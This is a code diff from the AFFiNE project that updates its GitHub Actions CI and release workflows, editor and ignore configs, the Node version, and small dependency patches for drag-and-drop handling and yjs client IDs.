yarn workspace @affine/electron build:dev
yarn affine @affine/electron build:dev
# Workaround for Electron apps failing to initialize on Ubuntu 24.04 due to AppArmor restrictions
# Disables unprivileged user namespaces restriction to allow Electron apps to run
# Reference: https://github.com/electron/electron/issues/42510
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn workspace @affine-test/affine-desktop-cloud e2e
needs:
- build-server-native
- build-native
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn affine @affine-test/affine-desktop-cloud e2e
services:
postgres:
image: postgres
@@ -582,6 +699,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -618,31 +739,37 @@ jobs:
DEV_SERVER_URL: http://localhost:8080
COPILOT_OPENAI_API_KEY: 1
COPILOT_FAL_API_KEY: 1
COPILOT_PERPLEXITY_API_KEY: 1
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-server
name: test-results-e2e-server-${{ matrix.tests.shard }}
path: ./test-results
if-no-files-found: ignore
desktop-test:
name: Desktop Test (${{ matrix.spec.os }}, ${{ matrix.spec.platform }}, ${{ matrix.spec.arch }}, ${{ matrix.spec.target }}, ${{ matrix.spec.test }})
runs-on: ${{ matrix.spec.os }}
needs:
- optimize_ci
- build-electron-renderer
- build-native
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
spec:
- {
os: macos-14,
os: macos-latest,
platform: macos,
arch: x64,
target: x86_64-apple-darwin,
test: false,
}
- {
os: macos-14,
os: macos-latest,
platform: macos,
arch: arm64,
target: aarch64-apple-darwin,
@@ -662,16 +789,13 @@ jobs:
target: x86_64-pc-windows-msvc,
test: true,
}
needs:
- build-electron-renderer
- build-native
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
timeout-minutes: 10
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine-test/affine-desktop
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine-test/affine-desktop @affine/nbstore @toeverything/infra
playwright-install: true
hard-link-nm: false
enableScripts: false
@@ -692,7 +816,7 @@ jobs:
- name: Run unit tests
if: ${{ matrix.spec.test }}
shell: bash
run: yarn workspace @affine/electron vitest
run: yarn affine @affine/electron vitest
- name: Download web artifact
uses: ./.github/actions/download-web
@@ -700,7 +824,7 @@ jobs:
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn workspace @affine/electron build
run: yarn affine @affine/electron build
- name: Run desktop tests
if: ${{ matrix.spec.os == 'ubuntu-latest' }}
@@ -709,11 +833,11 @@ jobs:
# Disables unprivileged user namespaces restriction to allow Electron apps to run
# Reference: https://github.com/electron/electron/issues/42510
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn workspace @affine-test/affine-desktop e2e
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn affine @affine-test/affine-desktop e2e
- name: Run desktop tests
if: ${{ matrix.spec.test && matrix.spec.os != 'ubuntu-latest' }}
run: yarn workspace @affine-test/affine-desktop e2e
run: yarn affine @affine-test/affine-desktop e2e
- name: Make bundle (macOS)
if: ${{ matrix.spec.target == 'aarch64-apple-darwin' }}
@@ -721,7 +845,7 @@ jobs:
SKIP_BUNDLE: true
SKIP_WEB_BUILD: true
HOIST_NODE_MODULES: 1
run: yarn workspace @affine/electron package --platform=darwin --arch=arm64
run: yarn affine @affine/electron package --platform=darwin --arch=arm64
- name: Make Bundle (Linux)
run: |
@@ -731,7 +855,7 @@ jobs:
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always
yarn workspace @affine/electron make --platform=linux --arch=x64
yarn affine @affine/electron make --platform=linux --arch=x64
if: ${{ matrix.spec.target == 'x86_64-unknown-linux-gnu' }}
env:
SKIP_WEB_BUILD: 1
@@ -740,10 +864,10 @@ jobs:
- name: Output check
if: ${{ matrix.spec.os == 'macos-14' && matrix.spec.arch == 'arm64' }}
run: |
yarn workspace @affine/electron exec node --loader ts-node/esm/transpile-only ./scripts/macos-arm64-output-check.ts
yarn affine @affine/electron node ./scripts/macos-arm64-output-check.ts
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.spec.os }}-${{ matrix.spec.arch }}
@@ -752,6 +876,8 @@ jobs:
test-build-mobile-app:
uses: ./.github/workflows/release-mobile.yml
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
with:
build-type: canary
build-target: development
@@ -763,16 +889,17 @@ jobs:
needs:
- analyze
- lint
- lint-rust
- check-yarn-binary
- e2e-test
- e2e-legacy-blocksuite-test
- e2e-mobile-test
- e2e-migration-test
- unit-test
- build-native
- build-server-native
- build-electron-renderer
- server-test
- server-native-test
- rust-test
- copilot-api-test
- copilot-e2e-test
- server-e2e-test
+14 -7
View File
@@ -3,10 +3,6 @@ name: Copilot Cron Test
on:
workflow_dispatch:
env:
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
PLAYWRIGHT_BROWSERS_PATH: ${{ github.workspace }}/node_modules/.cache/ms-playwright
jobs:
build-server-native:
name: Build Server native
@@ -25,7 +21,6 @@ jobs:
with:
target: 'x86_64-unknown-linux-gnu'
package: '@affine/server-native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload server-native.node
uses: actions/upload-artifact@v4
with:
@@ -42,6 +37,7 @@ jobs:
NODE_ENV: test
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
services:
postgres:
image: postgres
@@ -54,6 +50,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -79,11 +79,12 @@ jobs:
uses: ./.github/actions/server-test-env
- name: Run server tests
run: yarn workspace @affine/server test:copilot:coverage --forbid-only
run: yarn affine @affine/server test:copilot:coverage --forbid-only
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: ${{ secrets.COPILOT_OPENAI_API_KEY }}
COPILOT_FAL_API_KEY: ${{ secrets.COPILOT_FAL_API_KEY }}
COPILOT_PERPLEXITY_API_KEY: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v5
@@ -100,6 +101,7 @@ jobs:
env:
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
IN_CI_TEST: true
strategy:
fail-fast: false
@@ -120,6 +122,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
steps:
- uses: actions/checkout@v4
@@ -139,9 +145,10 @@ jobs:
- name: Run Copilot E2E Test ${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
uses: ./.github/actions/copilot-test
with:
script: yarn workspace @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
script: yarn affine @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
openai-key: ${{ secrets.COPILOT_OPENAI_API_KEY }}
fal-key: ${{ secrets.COPILOT_FAL_API_KEY }}
perplexity-key: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
test-done:
needs:
+1 -2
View File
@@ -12,8 +12,6 @@ on:
- beta
- stable
- internal
env:
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
permissions:
contents: 'write'
@@ -100,6 +98,7 @@ jobs:
CAPTCHA_TURNSTILE_SECRET: ${{ secrets.CAPTCHA_TURNSTILE_SECRET }}
COPILOT_OPENAI_API_KEY: ${{ secrets.COPILOT_OPENAI_API_KEY }}
COPILOT_FAL_API_KEY: ${{ secrets.COPILOT_FAL_API_KEY }}
COPILOT_PERPLEXITY_API_KEY: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
COPILOT_UNSPLASH_API_KEY: ${{ secrets.COPILOT_UNSPLASH_API_KEY }}
METRICS_CUSTOMER_IO_TOKEN: ${{ secrets.METRICS_CUSTOMER_IO_TOKEN }}
MAILER_SENDER: ${{ secrets.OAUTH_EMAIL_SENDER }}
+30 -40
View File
@@ -52,7 +52,7 @@ jobs:
- name: Setup @sentry/cli
uses: ./.github/actions/setup-sentry
- name: generate-assets
run: yarn workspace @affine/electron generate-assets
run: yarn affine @affine/electron generate-assets
env:
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
@@ -60,7 +60,6 @@ jobs:
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ steps.version.outputs.APP_VERSION }}
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
SKIP_NX_CACHE: 'true'
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
- name: Upload web artifact
@@ -71,6 +70,7 @@ jobs:
make-distribution:
strategy:
fail-fast: false
matrix:
spec:
- runner: macos-14
@@ -108,7 +108,7 @@ jobs:
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
enableScripts: false
@@ -117,14 +117,13 @@ jobs:
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- uses: actions/download-artifact@v4
with:
name: web
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn workspace @affine/electron build
run: yarn affine @affine/electron build
- name: Signing By Apple Developer ID
if: ${{ matrix.spec.platform == 'darwin' }}
@@ -144,11 +143,10 @@ jobs:
git config --global protocol.file.allow always
- name: make
run: yarn workspace @affine/electron make --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron make --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
DEBUG: '*'
- name: signing DMG
if: ${{ matrix.spec.platform == 'darwin' }}
@@ -170,14 +168,14 @@ jobs:
mv packages/frontend/apps/electron/out/*/make/deb/${{ matrix.spec.arch }}/*.deb ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.deb
mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.flatpak
- uses: actions/attest-build-provenance@v1
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'darwin' }}
with:
subject-path: |
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.zip
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.dmg
- uses: actions/attest-build-provenance@v1
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'linux' }}
with:
subject-path: |
@@ -193,6 +191,7 @@ jobs:
package-distribution-windows:
environment: ${{ github.event.inputs.build-type }}
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
@@ -225,7 +224,7 @@ jobs:
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
- name: Build AFFiNE native
@@ -233,17 +232,16 @@ jobs:
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- uses: actions/download-artifact@v4
with:
name: web
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn workspace @affine/electron build
run: yarn affine @affine/electron build
- name: package
run: yarn workspace @affine/electron package --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron package --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
@@ -285,6 +283,7 @@ jobs:
- sign-packaged-artifacts-windows_x64
- sign-packaged-artifacts-windows_arm64
strategy:
fail-fast: false
matrix:
spec:
- platform: win32
@@ -318,10 +317,10 @@ jobs:
run: Expand-Archive -Path signed.zip -DestinationPath packages/frontend/apps/electron/out
- name: Make squirrel.windows installer
run: yarn workspace @affine/electron make-squirrel --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron make-squirrel --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
- name: Make nsis.windows installer
run: yarn workspace @affine/electron make-nsis --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
run: yarn affine @affine/electron make-nsis --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
- name: Zip artifacts for faster upload
run: Compress-Archive -CompressionLevel Fastest -Path packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make/* -DestinationPath archive.zip
@@ -361,6 +360,7 @@ jobs:
before-make,
]
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
@@ -386,7 +386,7 @@ jobs:
mv packages/frontend/apps/electron/out/*/make/squirrel.windows/${{ matrix.spec.arch }}/*.exe ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.exe
mv packages/frontend/apps/electron/out/*/make/nsis.windows/${{ matrix.spec.arch }}/*.exe ./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.nsis.exe
- uses: actions/attest-build-provenance@v1
- uses: actions/attest-build-provenance@v2
with:
subject-path: |
./builds/affine-${{ needs.before-make.outputs.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-windows-${{ matrix.spec.arch }}.zip
@@ -415,33 +415,37 @@ jobs:
uses: actions/download-artifact@v4
with:
name: affine-darwin-x64-builds
path: ./
path: ./release
- name: Download Artifacts (macos-arm64)
uses: actions/download-artifact@v4
with:
name: affine-darwin-arm64-builds
path: ./
path: ./release
- name: Download Artifacts (windows-x64)
uses: actions/download-artifact@v4
with:
name: affine-win32-x64-builds
path: ./
path: ./release
- name: Download Artifacts (windows-arm64)
uses: actions/download-artifact@v4
with:
name: affine-win32-arm64-builds
path: ./
path: ./release
- name: Download Artifacts (linux-x64)
uses: actions/download-artifact@v4
with:
name: affine-linux-x64-builds
path: ./
path: ./release
- uses: actions/setup-node@v4
with:
node-version: 20
- name: Copy Selfhost Release Files
run: |
cp ./.docker/selfhost/compose.yml ./release/docker-compose.yml
cp ./.docker/selfhost/.env.example ./release/.env.example
- name: Generate Release yml
run: |
node ./packages/frontend/apps/electron/scripts/generate-yml.js
node ./scripts/generate-release-yml.mjs
env:
RELEASE_VERSION: ${{ needs.before-make.outputs.RELEASE_VERSION }}
- name: Create Release Draft
@@ -453,15 +457,8 @@ jobs:
draft: ${{ github.event.inputs.is-draft }}
prerelease: ${{ github.event.inputs.is-pre-release }}
files: |
./VERSION
./*.zip
./*.dmg
./*.exe
./*.appimage
./*.deb
./*.flatpak
./*.apk
./*.yml
./release/*
./release/.env.example
- name: Create Nightly Release Draft
if: ${{ github.ref_type == 'branch' }}
uses: softprops/action-gh-release@v2
@@ -477,12 +474,5 @@ jobs:
draft: false
prerelease: true
files: |
./VERSION
./*.zip
./*.dmg
./*.exe
./*.appimage
./*.deb
./*.apk
./*.flatpak
./*.yml
./release/*
./release/.env.example
+52 -14
View File
@@ -37,9 +37,25 @@ env:
KEYCHAIN_NAME: ${{ github.workspace }}/signing_temp
jobs:
build-ios-web:
output-env:
runs-on: ubuntu-latest
environment: ${{ inputs.build-type || github.event.inputs.build-type }}
outputs:
ENVIRONMENT: ${{ steps.env.outputs.ENVIRONMENT }}
steps:
- name: Output Environment
id: env
run: |
if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
echo "ENVIRONMENT=${{ github.event.inputs.build-type }}" >> $GITHUB_OUTPUT
else
echo "ENVIRONMENT=" >> $GITHUB_OUTPUT
fi
build-ios-web:
needs:
- output-env
runs-on: ubuntu-latest
environment: ${{ needs.output-env.outputs.ENVIRONMENT }}
outputs:
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
steps:
@@ -52,7 +68,7 @@ jobs:
- name: Setup @sentry/cli
uses: ./.github/actions/setup-sentry
- name: Build Mobile
run: yarn nx build @affine/ios --skip-nx-cache
run: yarn affine @affine/ios build
env:
PUBLIC_PATH: '/'
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
@@ -62,7 +78,6 @@ jobs:
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ steps.version.outputs.APP_VERSION }}
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
SKIP_NX_CACHE: 'true'
- name: Upload ios artifact
uses: actions/upload-artifact@v4
with:
@@ -71,7 +86,9 @@ jobs:
build-android-web:
runs-on: ubuntu-latest
environment: ${{ github.event.inputs.build-type || inputs.build-type }}
needs:
- output-env
environment: ${{ needs.output-env.outputs.ENVIRONMENT }}
outputs:
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
steps:
@@ -84,7 +101,7 @@ jobs:
- name: Setup @sentry/cli
uses: ./.github/actions/setup-sentry
- name: Build Mobile
run: yarn nx build @affine/android --skip-nx-cache
run: yarn affine @affine/android build
env:
PUBLIC_PATH: '/'
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
@@ -94,7 +111,6 @@ jobs:
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ steps.version.outputs.APP_VERSION }}
RELEASE_VERSION: ${{ steps.version.outputs.APP_VERSION }}
SKIP_NX_CACHE: 'true'
- name: Upload android artifact
uses: actions/upload-artifact@v4
with:
@@ -121,6 +137,9 @@ jobs:
electron-install: false
hard-link-nm: false
enableScripts: false
- uses: maxim-lobanov/setup-xcode@v1
with:
xcode-version: 16.1
- name: Cap sync
run: yarn workspace @affine/ios cap sync
- name: Signing By Apple Developer ID
@@ -129,9 +148,17 @@ jobs:
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12_MOBILE }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD_MOBILE }}
- uses: maxim-lobanov/setup-xcode@v1
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
xcode-version: latest-stable
target: 'aarch64-apple-ios'
package: 'affine_mobile_native'
no-build: 'true'
- name: Build Rust
run: |
brew install swiftformat
cargo build -p affine_mobile_native --lib --release --target aarch64-apple-ios
cargo run -p affine_mobile_native --bin uniffi-bindgen generate --library target/aarch64-apple-ios/release/libaffine_mobile_native.a --language swift --out-dir packages/frontend/apps/ios/App/App/uniffi
- name: Testflight
if: ${{ env.BUILD_TYPE != 'stable' }}
working-directory: packages/frontend/apps/ios/App
@@ -164,13 +191,22 @@ jobs:
uses: ./.github/actions/setup-node
timeout-minutes: 10
with:
extra-flags: workspaces focus @affine/android @affine/playstore-auto-bump
extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/android @affine/playstore-auto-bump
playwright-install: false
electron-install: false
hard-link-nm: false
enableScripts: false
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
target: 'aarch64-linux-android'
package: 'affine_mobile_native'
no-build: 'true'
- name: Cap sync
run: yarn workspace @affine/android cap sync
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Auth gcloud
id: auth
uses: google-github-actions/auth@v2
@@ -184,28 +220,30 @@ jobs:
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '17'
java-version: '21'
cache: 'gradle'
- name: Auto increment version code
id: bump
if: ${{ env.BUILD_TARGET == 'distribution' }}
run: yarn workspace @affine/playstore-auto-bump bump
run: yarn affine @affine/playstore-auto-bump bump
env:
GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.auth.outputs.credentials_file_path }}
- name: Build
run: |
echo -n "${{ env.AFFINE_ANDROID_SIGN_KEYSTORE }}" | base64 --decode > packages/frontend/apps/android/affine.keystore
yarn workspace @affine/android cap build android
yarn workspace @affine/android cap build android --flavor ${{ env.BUILD_TYPE }} --androidreleasetype AAB
env:
AFFINE_ANDROID_KEYSTORE_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_PASSWORD }}
AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD }}
AFFINE_ANDROID_SIGN_KEYSTORE: ${{ secrets.AFFINE_ANDROID_SIGN_KEYSTORE }}
- name: Upload to Google Play
uses: r0adkll/upload-google-play@v1
if: ${{ env.BUILD_TARGET == 'distribution' }}
with:
serviceAccountJson: ${{ steps.auth.outputs.credentials_file_path }}
packageName: app.affine.pro
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/release/app-release-signed.aab
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/${{ env.BUILD_TYPE }}Release/app-${{ env.BUILD_TYPE }}-release-signed.aab
track: internal
status: draft
existingEditId: ${{ steps.bump.outputs.EDIT_ID }}
+32 -2
View File
@@ -11,7 +11,6 @@ on:
jobs:
synchronize-with-crowdin:
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
@@ -21,10 +20,11 @@ jobs:
uses: actions/checkout@v4
- name: Crowdin action
id: crowdin
uses: crowdin/github-action@v2
with:
upload_sources: true
upload_translations: true
upload_translations: false
download_translations: true
auto_approve_imported: true
import_eq_suggestions: true
@@ -40,3 +40,33 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
CROWDIN_PROJECT_ID: ${{ secrets.CROWDIN_PROJECT_ID }}
CROWDIN_PERSONAL_TOKEN: ${{ secrets.CROWDIN_PERSONAL_TOKEN }}
i18n-codegen:
needs: synchronize-with-crowdin
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
steps:
- name: Checkout
uses: actions/checkout@v4
with:
ref: l10n_crowdin_translations
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
electron-install: false
full-cache: true
- name: Run i18n codegen
run: yarn affine @affine/i18n build
- name: Commit changes
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add .
git commit -m "chore(i18n): i18n codegen"
git push origin l10n_crowdin_translations
-23
View File
@@ -1,23 +0,0 @@
name: Deploy Cloudflare Worker
on:
push:
branches:
- canary
paths:
- tools/workers/**
jobs:
deploy:
runs-on: ubuntu-latest
name: Deploy
environment: stable
steps:
- uses: actions/checkout@v4
- name: Publish
uses: cloudflare/wrangler-action@v3.12.1
with:
apiToken: ${{ secrets.CF_API_TOKEN }}
accountId: ${{ secrets.CF_ACCOUNT_ID }}
workingDirectory: 'tools/workers'
packageManager: 'yarn'
+4 -1
View File
@@ -29,7 +29,6 @@ node_modules
# IDE - VSCode
.vscode/*
!.vscode/tasks.json
!.vscode/settings.template.json
!.vscode/launch.template.json
!.vscode/extensions.json
@@ -81,3 +80,7 @@ apps/web/next-routes.conf
packages/frontend/templates/edgeless
packages/frontend/core/public/static/templates
# script
af
af.cmd
+1 -1
View File
@@ -1 +1 @@
20.18.0
22.14.0
+32 -22
View File
@@ -1,28 +1,38 @@
yarn.lock
target
lib
test-results
.next
out
dist
# we will make this file shared by prettier|eslint|oxlint
**/node_modules
.yarn
.github/helm
_next
storybook-static
web-static
public
packages/backend/server/src/schema.gql
packages/backend/server/src/fundamentals/error/errors.gen.ts
packages/frontend/i18n/src/i18n-generated.ts
packages/frontend/i18n/src/i18n-completenesses.json
packages/frontend/graphql/src/graphql/index.ts
tests/affine-legacy/**/static
.github
.vscode
.yarnrc.yml
packages/frontend/templates/*.gen.ts
packages/frontend/templates/onboarding
.docker
**/.storybook
# auto-generated by NAPI-RS
# fixme(@joooye34): need script to check and generate ignore list here
# compiled output
.coverage
.nx/**
target
test-results
**/dist
**/lib
**/storybook-static
**/web-static
**/public
**/e2e-dist-*
**/static
# generated files
**/*.gen.ts
**/*.gql
**/*.d.ts
# per files
tools/cli/src/webpack/error-handler.js
packages/backend/native/index.d.ts
packages/backend/server/src/__tests__/__snapshots__
packages/common/native/fixtures/**
packages/frontend/native/index.d.ts
packages/frontend/native/index.js
packages/frontend/graphql/src/graphql/index.ts
packages/frontend/graphql/src/schema.ts
packages/frontend/apps/android/App/app/build/**
blocksuite/tests-legacy/snapshots
+27 -14
View File
@@ -1,25 +1,38 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Run Dev",
"type": "node-terminal",
"request": "launch",
"command": "yarn run dev"
},
{
"name": "Run Dev Locally",
"type": "node-terminal",
"request": "launch",
"command": "yarn run dev:local"
},
{
"name": "Launch AFFiNE Cloud",
"type": "node",
"request": "launch",
"runtimeExecutable": "yarn",
"cwd": "${workspaceFolder}",
"runtimeArgs": ["workspace", "@affine/server", "dev"]
"runtimeArgs": [
"affine",
"@affine/server",
"dev"
]
},
{
"name": "Lanuch AFFiNE Web",
"type": "node",
"request": "launch",
"runtimeExecutable": "yarn",
"cwd": "${workspaceFolder}",
"runtimeArgs": [
"affine",
"@affine/web",
"dev"
]
},
{
"type": "chrome",
"request": "launch",
"name": "Debug AFFiNE Web",
"url": "http://localhost:8080",
"sourceMapPathOverrides": {
"webpack://affine/blocksuite/*": "${workspaceFolder}/blocksuite/*"
}
}
]
}
}
@@ -0,0 +1,19 @@
diff --git a/dist/esm/adapter/external-adapter.js b/dist/esm/adapter/external-adapter.js
index ef7a963d91f08c9e70c8ed9c6b41972bec349319..e682841ec10a4a8a9ce7a79642e58de5c9e664d5 100644
--- a/dist/esm/adapter/external-adapter.js
+++ b/dist/esm/adapter/external-adapter.js
@@ -54,9 +54,11 @@ var adapter = makeAdapter({
type: 'dragenter',
listener: function listener(event) {
// drag operation was started within the document, it won't be an "external" drag
- if (didDragStartLocally) {
- return;
- }
+
+ // we will handle all events actually
+ // if (didDragStartLocally) {
+ // return;
+ // }
// Note: not checking if event was cancelled (`event.defaultPrevented`) as
// cancelling a "dragenter" accepts the drag operation (not prevent it)
@@ -0,0 +1,13 @@
diff --git a/package.json b/package.json
index 5fef2811aa86f3f1f8228daef7d867863e71db72..b795fbd2a0e1cba0b6389ff051220f4e3c52fc13 100644
--- a/package.json
+++ b/package.json
@@ -34,7 +34,7 @@
"deno": "./index.js",
"react-native": "./index.js",
"worker": "./index.js",
- "browser": "./index.dom.js",
+ "browser": "./index.js",
"default": "./index.js"
}
},
@@ -1,39 +0,0 @@
diff --git a/dist/yjs.cjs b/dist/yjs.cjs
index d2dc06ae11a6eb44f8c8445d4298c0e89c3e4da2..a30ab04fa9f3b77666939caa88335c68c40f194c 100644
--- a/dist/yjs.cjs
+++ b/dist/yjs.cjs
@@ -414,7 +414,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random__namespace.uint32;
+const generateNewClientId = random__namespace.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/dist/yjs.mjs b/dist/yjs.mjs
index 20c9e58c32bcb6bc714200a2561fd1f542c49523..14267e5e36d9781ca3810d5b70ff8c051dac779e 100644
--- a/dist/yjs.mjs
+++ b/dist/yjs.mjs
@@ -378,7 +378,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random.uint32;
+const generateNewClientId = random.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/src/utils/Doc.js b/src/utils/Doc.js
index 62643617c86e57c64dd9babdb792fa8888357ec0..4df5048ab12af1ae0f1154da67f06dce1fda7b49 100644
--- a/src/utils/Doc.js
+++ b/src/utils/Doc.js
@@ -20,7 +20,7 @@ import * as map from 'lib0/map'
import * as array from 'lib0/array'
import * as promise from 'lib0/promise'
-export const generateNewClientId = random.uint32
+export const generateNewClientId = random.uint53
/**
* @typedef {Object} DocOpts
@@ -0,0 +1,39 @@
diff --git a/dist/yjs.cjs b/dist/yjs.cjs
index 8a343ca9d0a153e95b27ad337e0553a8cc80d5ca..7199cf6e05d9c2c3491e56c4d4bda109e1755563 100644
--- a/dist/yjs.cjs
+++ b/dist/yjs.cjs
@@ -416,7 +416,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random__namespace.uint32;
+const generateNewClientId = random__namespace.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/dist/yjs.mjs b/dist/yjs.mjs
index 1c29ce7fe8f146b78911d0af9a53d1b516e86494..220fa0faacf4dc2a787e18f7cc79100e7c516e3a 100644
--- a/dist/yjs.mjs
+++ b/dist/yjs.mjs
@@ -379,7 +379,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random.uint32;
+const generateNewClientId = random.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/src/utils/Doc.js b/src/utils/Doc.js
